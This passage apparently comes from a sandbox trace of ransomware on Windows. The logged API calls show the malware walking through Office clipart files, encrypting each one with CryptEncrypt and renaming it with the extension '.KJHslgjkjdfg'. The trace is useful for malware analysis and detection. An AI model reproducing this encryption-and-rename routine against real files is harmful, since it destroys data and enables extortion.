0x990000 [0190.312] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.312] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.312] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.312] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.312] GetProcessHeap () returned 0x990000 [0190.312] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.312] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.312] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.312] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.314] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.314] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.315] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.315] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.315] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.315] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.315] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb80, lpOverlapped=0x0) returned 1 [0190.315] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb80, dwBufLen=0xb80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb80) returned 1 [0190.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.315] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb80, lpOverlapped=0x0) returned 1 [0190.315] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.315] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.315] SetEndOfFile (hFile=0x130) returned 1 [0190.318] GetProcessHeap () returned 0x990000 [0190.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.318] GetProcessHeap () returned 0x990000 [0190.318] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.318] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.kjhslgjkjdfg")) returned 1 [0190.319] CloseHandle (hObject=0x130) returned 1 [0190.319] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0190.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.320] GetProcessHeap () returned 0x990000 [0190.320] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.320] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.320] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.322] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.322] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.322] GetProcessHeap () returned 0x990000 [0190.322] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.322] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.322] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.323] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.323] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.323] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.323] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.323] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.324] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.324] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.324] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.324] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2178, lpOverlapped=0x0) returned 1 [0190.324] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2180, dwBufLen=0x2180 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2180) returned 1 [0190.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.325] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2180, lpOverlapped=0x0) returned 1 [0190.325] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.325] SetEndOfFile (hFile=0x130) returned 1 [0190.328] GetProcessHeap () returned 0x990000 [0190.328] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.328] GetProcessHeap () returned 0x990000 [0190.328] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.kjhslgjkjdfg")) returned 1 [0190.329] CloseHandle (hObject=0x130) returned 1 [0190.329] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0190.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.330] GetProcessHeap () returned 0x990000 [0190.330] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.330] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.331] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0190.333] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.333] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.333] GetProcessHeap () returned 0x990000 [0190.333] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.333] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.333] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.333] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.333] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.333] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.333] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.334] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.334] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.334] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.334] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4c4, lpOverlapped=0x0) returned 1 [0190.334] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4d0) returned 1 [0190.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.334] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4d0, lpOverlapped=0x0) returned 1 [0190.334] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.334] SetEndOfFile (hFile=0x130) returned 1 [0190.337] GetProcessHeap () returned 0x990000 [0190.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.337] GetProcessHeap () returned 0x990000 [0190.337] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.kjhslgjkjdfg")) returned 1 [0190.344] CloseHandle (hObject=0x130) returned 1 [0190.344] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0190.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.345] GetProcessHeap () returned 0x990000 [0190.345] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.345] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.345] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.345] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0190.347] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.348] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.348] GetProcessHeap () returned 0x990000 [0190.348] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.348] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.348] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.348] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.348] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.348] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0190.348] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0190.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0190.348] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0190.348] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.348] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.349] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2606, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2606, lpOverlapped=0x0) returned 1 [0190.349] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2610, dwBufLen=0x2610 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2610) returned 1 [0190.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.350] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2610, lpOverlapped=0x0) returned 1 [0190.350] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.350] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.350] SetEndOfFile (hFile=0x130) returned 1 [0190.353] GetProcessHeap () returned 0x990000 [0190.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0190.353] GetProcessHeap () returned 0x990000 [0190.353] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0190.353] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.kjhslgjkjdfg")) returned 1 [0190.354] CloseHandle (hObject=0x130) returned 1 [0190.354] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1 [0190.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0190.355] GetProcessHeap () returned 0x990000 [0190.355] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0190.355] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0190.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0190.355] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.356] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0190.356] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0190.356] GetProcessHeap () returned 0x990000 [0190.356] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0190.356] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0190.356] CryptDestroyKey (hKey=0x9b6628) returned 1 [0190.357] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0190.357] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0190.357] WriteFile (in: 